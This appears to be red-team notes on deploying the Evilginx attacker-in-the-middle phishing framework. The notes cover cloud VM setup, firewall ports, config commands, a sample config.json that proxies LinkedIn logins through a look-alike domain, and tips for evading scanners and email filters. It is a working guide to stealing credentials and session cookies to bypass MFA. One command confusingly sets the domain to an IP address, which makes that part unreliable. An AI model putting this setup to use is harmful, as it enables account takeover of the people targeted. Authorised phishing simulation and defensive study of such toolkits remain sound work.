Attacker-in-the-Middle (Evilginx)

GitHub - kgretzky/evilginx2: Standalone man-in-the-middle attack framework used for phishing login credentials along with session cookies, allowing for the bypass of 2-factor authenticationGitHub

https://help.evilginx.com/docs/category/guideshelp.evilginx.com

Evilginx is a phishing toolkit designed for attacker-in-the-middle (AitM) attacks that allow an adversary to capture login credentials and session cookies. These session cookies can be injected into a browser, bypassing traditional MFA and allowing full access to the user's account.

A session cookie/token is a unique piece of data generated by a web server when a user authenticates to the server. It is stored on a user's browser as a form of identification for that specific session.

Phishing with Evilginx workflow

Evilginx Setup

Infrastructure

Infrastructure

The easiest and (probably) most common place that Evilginx is hosted/set up is on a Linux-based virtual machine hosted by a cloud infrastructure provider (e.g. Azure/AWS).

Once your VM is created, ensure that there is no HTTP server on port 80 running on your VM. You can use netstat to check what ports are currently in use on your VM and use ps to kill the process using port 80.

Linux (Evilginx VM)

# Check what ports are in use
ss -tulpn

# Kill a process
kill [process pid]

You will then have to implement the following inbound networking rules on your Evilginx VM:

Protocol	Port	Description
TCP	443	Reverse proxy HTTPS traffic
TCP	22	SSH port for remote access
UDP	53	DNS traffic for hostname resolution

Domain/DNS

Evilginx Deployment

There are plenty of other customization and configuration changes to help secure your phishing links, domain, and Evilginx infrastructure.

This includes things as:

• User-Agent Filtering

• SPF/DKIM

• Domain Aging/Site Classification

• Google AMP Redirects

Evilginx Usage

As with lots of tools, the help command will show you a help menu. Using the help command followed by an action command such as config or phishlets will give you the help menu for that action.

Config

Config

If you want to quickly configure your domain to work inside Evilginx, all you have to do is set the server domain and Evilginx public IP (e.g. weelee.zip domain with Evilginx VM with a public IP of 1.2.3.4).

Evilginx

: config domain weelee.zip
: config domain 1.2.3.4

---

Changing Unauthorized URL

You can change the URL where all unauthorized requests that are sent to Evilginx are redirected to. This can be a helpful way to deter scanners or bad (or would it be good?) actors.

Evilginx

# Change the URL for unauthorized requests
: config unauth_url https://office.com

---

Pre-Configuration/Automation

If you want to automate the deployment of your domain, phishlets, and lures, you can create a custom config.json file and place it at ~/.evilginx/config.json.

Below is an example config.json file with a pre-configured LinkedIn phishlet (taken from https://help.evilginx.com/docs/guides/config):

JSON

{
    "general": {
        "bind_ipv4": "127.0.0.1",
        "dns_port": 53,
        "domain": "not-a-phish.com",
        "external_ipv4": "1.2.3.4",
        "https_port": 443,
        "unauth_url": "https://www.linkedin.com"
    },
    "phishlets": {
        "linkedin": {
            "hostname": "linkedin.not-a-phish.com",
            "enabled": true,
            "visible": true
        }
    },
    "lures": [
        {
            "hostname": "",
            "info": "",
            "og_desc": "",
            "og_image": "",
            "og_title": "",
            "og_url": "",
            "path": "/login",
            "phishlet": "linkedin",
            "redirect_url": "https://www.linkedin.com",
            "redirector": "",
            "ua_filter": ""
        }
    ]
}

---

Certificates

TLS certificates are automatically generated for the domains and subdomains you use for your phishing URLs. All generated certificates are stored in ~/.local/share/certmagic.

Phishlets

Lures

Sessions

Proxy

Blacklist